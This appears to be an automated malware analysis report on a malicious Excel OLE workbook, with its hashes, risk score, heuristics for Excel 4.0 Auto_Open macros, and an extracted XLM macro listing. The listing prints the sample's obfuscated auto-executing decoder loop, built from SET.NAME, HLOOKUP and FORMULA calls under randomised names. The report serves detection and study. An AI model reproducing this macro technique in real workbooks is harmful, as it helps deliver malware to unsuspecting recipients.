Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33b66a6280a2ccc8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:57 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 7104f685808c6c6c44ca74fef66c1a6c SHA-1: 74b2b6aa0e14673cf91181da95f301775fa6bb4a SHA-256: 33b66a6280a2ccc8202a0c43b21604ff802ea02b0c7014e237841fe6306a0c80
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6441 bytes
SHA-256: 9f030643e13efcd60ba390d04c5b613773ba88e4618401b764a895d8742f10fc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WBCj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E186 
' 0018     27 LABEL : Cell Value, String Constant - BkFIQtqnFbxJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ByWYOM len=0 
' 0018     23 LABEL : Cell Value, String Constant - cIdQUtQe len=0 
' 0018     23 LABEL : Cell Value, String Constant - gjxxUSlM len=0 
' 0018     21 LABEL : Cell Value, String Constant - isLclQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - IUUccfCZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - joPUKt len=0 
' 0018     22 LABEL : Cell Value, String Constant - mlISCrY len=0 
' 0018     21 LABEL : Cell Value, String Constant - oPDWyN len=0 
' 0018     26 LABEL : Cell Value, String Constant - qppMteyomiy len=0 
' 0018     25 LABEL : Cell Value, String Constant - quQCQfWmLo len=0 
' 0018     26 LABEL : Cell Value, String Constant - sZuWgVGomNp len=0 
' 0018     22 LABEL : Cell Value, String Constant - UBKbYpw len=0 
' 0018     25 LABEL : Cell Value, String Constant - WVPMjAvVkd len=0 
' 0018     25 LABEL : Cell Value, String Constant - XbXPEQEWop len=0 
' 0018     24 LABEL : Cell Value, String Constant - XxYUCQeeE len=0 
' 0018     27 LABEL : Cell Value, String Constant - YHLLKsmwNOKV len=0 
' 0018     22 LABEL : Cell Value, String Constant - YPnrihN len=0 
' 0018     27 LABEL : Cell Value, String Constant - yYziclCbDzRJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - zeAseDdbNe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WBCj,E98,"SET.NAME("XxYUCQeeE",VALUE("0"))",""
'  WBCj,E103,"SET.NAME("WVPMjAvVkd",XxYUCQeeE)",""
'  WBCj,E105,"SET.NAME("cIdQUtQe",XxYUCQeeE)",""
'  WBCj,E109,"SET.NAME("BkFIQtqnFbxJ",COUNTA(yYziclCbDzRJ))",""
'  WBCj,E111,"SET.NAME("YPnrihN",COUNTA(YHLLKsmwNOKV))",""
'  WBCj,E114,[],""
'  WBCj,E117,"SET.NAME("sZuWgVGomNp","")",""
'  WBCj,E119,"WVPMjAvVkd",""
'  WBCj,E122,"SET.NAME("gjxxUSlM",HLOOKUP("*",yYziclCbDzRJ,WVPMjAvVkd,FALSE))",""
'  WBCj,E126,"qppMteyomiy",""
'  WBCj,E130,"SET.NAME("oPDWyN",XxYUCQeeE)",""
'  WBCj,E134,[],""
'  WBCj,E139,"oPDWyN",""
'  WBCj,E144,"XbXPEQEWop",""
'  WBCj,E146,"ByWYOM",""
'  WBCj,E149,"joPUKt",""
'  WBCj,E151,"SET.NAME("zeAseDdbNe",VALUE(HLOOKUP("*",YHLLKsmwNOKV,joPUKt,FALSE)))",""
'  WBCj,E154,"isLclQ",""
'  WBCj,E156,"sZuWgVGomNp",""
'  WBCj,E161,"cIdQUtQe",""
'  WBCj,E165,NEXT(),""
'  WBCj,E168,"mlISCrY",""
'  WBCj,E172,"SET.NAME("f",INT(T(FORMULA(T(sZuWgVGomNp)&"",""&T(mlISCrY)))))",""
'  WBCj,E174,"IUUccfCZ",""
'  WBCj,E176,NEXT(),""
'  WBCj,E181,RETURN(),""
'  WBCj,E213,"SET.NAME("UBKbYpw",E98)",""
'  WBCj,E215,"yYziclCbDzRJ",""
'  WBCj,E219,"SET.NAME("YHLLKsmwNOKV",R45C14)",""
'  WBCj,E222,"SET.NAME("IUUccfCZ",230)",""
'  WBCj,E224,"SET.NAME("quQCQfWmLo",5)",""
'  WBCj,E229,UBKbYpw(),""
'  WBCj,E230,HALT(),""

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